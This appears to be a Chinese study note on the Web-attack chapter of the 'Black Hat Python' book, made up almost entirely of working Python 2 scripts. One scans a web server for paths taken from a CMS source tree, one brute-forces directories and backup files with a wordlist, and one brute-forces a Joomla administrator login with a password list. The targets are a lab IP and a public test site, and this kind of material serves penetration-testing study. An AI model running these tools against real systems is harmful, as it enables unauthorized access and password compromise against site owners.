《Python黑帽子：黑客与渗透测试编程之道》 Web攻击

开源Web应用目录扫描器

这里的前提是Web服务器使用的是开源CMS来建站的，而且自己也下载了一套相应的开源代码，感觉意义并不大

#!/usr/bin/python
#coding=utf-8
import Queue
import threading
import os
import urllib2

threads = 10

target = "http://10.10.10.144/dunling"
directory = "/dunling"
filters = [".jpg",".gif",".png",".css"]

os.chdir(directory)

web_paths = Queue.Queue()

for r,d,f in os.walk("."):
    for files in f:
        remote_path = "%s/%s"%(r,files)
        if remote_path.startswith("."):
            remote_path = remote_path[1:]
        if os.path.splitext(files)[1] not in filters:
            web_paths.put(remote_path)

def test_remote():
    while not web_paths.empty():
        path = web_paths.get()
        url = "%s%s"%(target,path)

        request = urllib2.Request(url)

        try:
            response = urllib2.urlopen(request)
            content = response.read()

            print "[%d] => %s"%(response.code,path)
            response.close()
        except urllib2.HTTPError as error:
            # print "Failed %s"%error.code
            pass

for i in range(threads):
    print "Spawning thread : %d"%i
    t = threading.Thread(target=test_remote)
    t.start()

暴力破解目录和文件位置

#!/usr/bin/python
#coding=utf-8

import urllib2
import threading
import Queue
import urllib

threads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # from SVNDigger
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

def build_wordlist(wordlist_file):
    #读入字典文件
    fd = open(wordlist_file,"rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = Queue.Queue()

    for word in raw_words:
        word = word.rstrip()

        if resume is not None:
            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print "Resuming wordlist from: %s"%resume
        else:
            words.put(word)

    return words

def dir_bruter(word_queue,extensions=None):
    while not word_queue.empty():
        attempt = word_queue.get()

        attempt_list = []

        #检测是否有文件扩展名，若没有则就是要暴力破解的路径
        if "." not in attempt:
            attempt_list.append("/%s/"%attempt)
        else:
            attempt_list.append("/%s"%attempt)

        #如果我们想暴破扩展
        if extensions:
            for extension in extensions:
                attempt_list.append("/%s%s"%(attempt,extension))

        #迭代我们要尝试的文件列表
        for brute in attempt_list:
            url = "%s%s"%(target_url,urllib.quote(brute))

            try:
                headers = {}
                headers["User-Agent"] = user_agent
                r = urllib2.Request(url,headers=headers)

                response = urllib2.urlopen(r)

                if len(response.read()):
                    print "[%d] => %s"%(response.code,url)
            except urllib2.URLError, e:
                if hasattr(e,'code') and e.code != 404:
                    print "!!! %d => %s"%(e.code,url)
                pass

word_queue = build_wordlist(wordlist_file)
extensions = [".php",".bak",".orig",".inc"]

for i in range(threads):
    t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))
    t.start()

暴力破解HTML表格认证

1、检索登录页面，接受所有返回的cookies值；

2、从HTML中获取所有表单元素；

3、在你的字典中设置需要猜测的用户名和密码；

4、发送HTTP POST数据包到登录处理脚本，数据包含所有的HTML表单文件和存储的cookies值；

5、测试是否能登录成功。

#!/usr/bin/python
#coding=utf-8

import urllib2
import urllib
import cookielib
import threading
import sys
import Queue

from HTMLParser import HTMLParser

#简要设置
user_thread = 10
username = "admin"
wordlist_file = "/tmp/passwd.txt"
resume = None

#特定目标设置
target_url = "http://10.10.10.144/Joomla/administrator/index.php"
target_post = "http://10.10.10.144/Joomla/administrator/index.php"

username_field = "username"
password_field = "passwd"

success_check = "Administration - Control Panel"

class Bruter(object):
    """docstring for Bruter"""
    def __init__(self, username, words):
        self.username = username
        self.password_q = words
        self.found = False

        print "Finished setting up for: %s"%username

    def run_bruteforce(self):
        for i in range(user_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):
        while not self.password_q.empty() and not self.found:
            brute = self.password_q.get().rstrip()
            jar = cookielib.FileCookieJar("cookies")
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

            response = opener.open(target_url)

            page = response.read()

            print "Trying: %s : %s (%d left)"%(self.username,brute,self.password_q.qsize())

            #解析隐藏区域
            parser = BruteParser()
            parser.feed(page)

            post_tags = parser.tag_results

            #添加我们的用户名和密码区域
            post_tags[username_field] = self.username
            post_tags[password_field] = brute

            login_data = urllib.urlencode(post_tags)
            login_response = opener.open(target_post,login_data)

            login_result = login_response.read()

            if success_check in login_result:
                self.found = True

                print "[*] Bruteforce successful. "
                print "[*] Username: %s"%self.username
                print "[*] Password: %s"%brute
                print "[*] Waiting for other threads to exit ... "

class BruteParser(HTMLParser):
    """docstring for BruteParser"""
    def __init__(self):
        HTMLParser.__init__(self)
        self.tag_results = {}

    def handle_starttag(self,tag,attrs):
        if tag == "input":
            tag_name = None
            tag_value = None
            for name,value in attrs:
                if name == "name":
                    tag_name = value
                if name == "value":
                    tag_value = value
                if tag_name is not None:
                    self.tag_results[tag_name] = value

def build_wordlist(wordlist_file):

    fd = open(wordlist_file,"rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = Queue.Queue()

    for word in raw_words:
        word = word.rstrip()

        if resume is not None:
            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print "Resuming wordlist from: %s"%resume
        else:
            words.put(word)

    return words

words = build_wordlist(wordlist_file)

brute_obj = Bruter(username,words)
brute_obj.run_bruteforce()